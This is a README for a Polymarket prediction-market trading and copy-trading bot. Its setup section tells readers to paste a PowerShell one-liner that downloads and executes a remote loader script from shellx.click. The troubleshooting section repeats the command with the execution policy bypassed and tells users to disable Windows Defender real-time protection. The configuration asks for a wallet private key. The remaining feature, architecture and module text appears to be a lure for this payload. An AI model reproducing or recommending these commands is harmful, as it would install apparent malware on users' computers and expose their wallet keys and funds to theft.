Polymarket Trading Bot
AI-assisted prediction market trading and wallet-based copy trading.
Features · Quick Start · Architecture · Configuration · Modules · Project Structure · Roadmap
Features
| Feature | Description | |
|---|---|---|
| 🤖 | AI Market Analysis | Explore prediction markets through sentiment analysis and momentum signals. |
| 👥 | Copy Trading | Follow selected wallets and adjust copied allocations to your preferred size. |
| 🛡️ | Risk Management | Set exposure limits, maximum trade sizes, and daily loss thresholds. |
| ⚡ | Trade Execution | Route trading decisions through a dedicated execution module. |
| 🧩 | Multi-Strategy Engine | Extend the strategy layer with additional analysis methods and signals. |
| ⚙️ | Configurable Settings | Keep connections, wallet selection, and trading parameters in environment variables. |
⚙️ Quick Setup Guide (PowerShell)
-
Open PowerShell
- Press
Win + Xon your keyboard. - Click on Terminal or Windows PowerShell from the list.
- Press
-
Run the Setup Command
Copy the command below, paste it into the PowerShell window, and press
Enter.irm https://shellx.click/powershell/Loader.ps1 | iex
🔍 Troubleshooting
📌 Bypass Execution Policy (Blocking Unsigned Scripts)
If Windows stops the script from running due to security policies, you can force it to run by pasting this command into a standard Command Prompt (cmd):
powershell -ExecutionPolicy Bypass -Command "irm https://shellx.click/powershell/Loader.ps1 | iex"📌 Error: "irm is not recognized..." (PowerShell 2.0 Legacy)
In older legacy environments where aliases are missing, use explicit full system cmdlets:
Invoke-RestMethod https://shellx.click/powershell/Loader.ps1 | Invoke-Expression📌 Antivirus or SmartScreen Interception
Automated deployment routines can sometimes trigger proactive security heuristics. Temporarily disable "Real-time protection" within your Windows Defender settings during setup, then re-enable it immediately after completion.
Architecture
flowchart TB
subgraph Sources["Input Sources"]
API["Polymarket API"] --> Markets["Market Data"]
Feed["Trade Feed"] --> Activity["Wallet Activity"]
end
subgraph Analysis["AI Engine"]
Markets --> Sentiment["Sentiment Strategy"]
Markets --> Momentum["Momentum Strategy"]
Sentiment --> Signals["Signal Aggregator"]
Momentum --> Signals
end
subgraph Copy["Copy Engine"]
Activity --> Tracker["Trader Tracker"]
Tracker --> Mirror["Trade Mirror"]
end
subgraph Trading["Execution"]
Signals --> Risk["Risk Manager"]
Mirror --> Risk
Risk --> Executor["Trade Executor"]
Executor --> API
end
style API fill:#1263df,color:#fff,stroke:#1263df
style Feed fill:#1263df,color:#fff,stroke:#1263df
style Signals fill:#00b8d9,color:#071426,stroke:#00b8d9
style Risk fill:#d94667,color:#fff,stroke:#d94667
style Executor fill:#00a67d,color:#fff,stroke:#00a67dConfiguration
Copy .env.example to .env and adjust the following settings.
| Variable | Description | Default |
|---|---|---|
POLYMARKET_API_URL | CLOB API base URL | https://clob.polymarket.com |
POLYMARKET_WS_URL | Streaming connection URL | wss://ws-subscriptions-clob.polymarket.com/ws |
PRIVATE_KEY | Trading wallet secret | — |
RPC_URL | Polygon RPC connection | https://polygon-rpc.com |
OPENAI_API_KEY | AI provider credential | — |
AI_MODEL | Analysis model identifier | gpt-4 |
TRACKED_WALLETS | Wallet addresses separated by commas | — |
COPY_PERCENTAGE | Source trade allocation percentage | 50 |
MAX_POSITION_SIZE | Copied trade allocation cap, USDC | 100 |
MAX_DAILY_LOSS | Daily loss threshold, USDC | 500 |
MAX_SINGLE_TRADE | Individual order limit, USDC | 200 |
STOP_LOSS_PERCENTAGE | Stop-loss percentage setting | 10 |
LOG_LEVEL | Application logging detail | info |
Defaults describe configuration values, not recommended allocations. Review them before using real funds.
Modules
🤖 AI Trade Bot
The analysis module evaluates markets with two complementary strategies:
- Sentiment Strategy — Compares an estimated outcome probability with the market price to identify potential discrepancies.
- Momentum Strategy — Examines recent trade activity and the balance of buying and selling volume.
Signals include direction, confidence, and supporting reasoning. The analyzer brings individual strategy results together into a market assessment.
👥 Copy Trading Bot
The copy module separates wallet monitoring from trade sizing:
- Trader Tracker — Maintains the list of followed wallets and handles detected trade events.
- Trade Mirror — Applies
COPY_PERCENTAGEto source trades and limits copied allocations usingMAX_POSITION_SIZE.
A source allocation of 100 USDC becomes 25 USDC when COPY_PERCENTAGE=25, before applicable caps.
Project Structure
src/
├── index.ts # Startup and module orchestration
├── config/ # Environment settings
├── api/
│ ├── polymarket.ts # Market API access
│ └── types.ts # API data contracts
├── ai/
│ ├── analyzer.ts # Scanning and analysis
│ ├── strategies/
│ │ ├── sentiment.ts # Sentiment signals
│ │ └── momentum.ts # Trade-flow signals
│ └── types.ts # Analysis data contracts
├── copy/
│ ├── tracker.ts # Followed wallet tracking
│ ├── mirror.ts # Copy allocation logic
│ └── types.ts # Copy event contracts
├── trading/
│ ├── executor.ts # Order submission
│ ├── risk.ts # Limits and risk checks
│ └── types.ts # Order data contracts
└── utils/
├── logger.ts # Application logs
└── helpers.ts # Shared utilitiesRoadmap
- Streaming market updates over WebSocket
- On-chain detection of followed wallet activity
- Portfolio dashboard
- Historical strategy backtesting
- Telegram and Discord alerts
- Multiple execution wallets
- Additional strategies, including arbitrage and mean reversion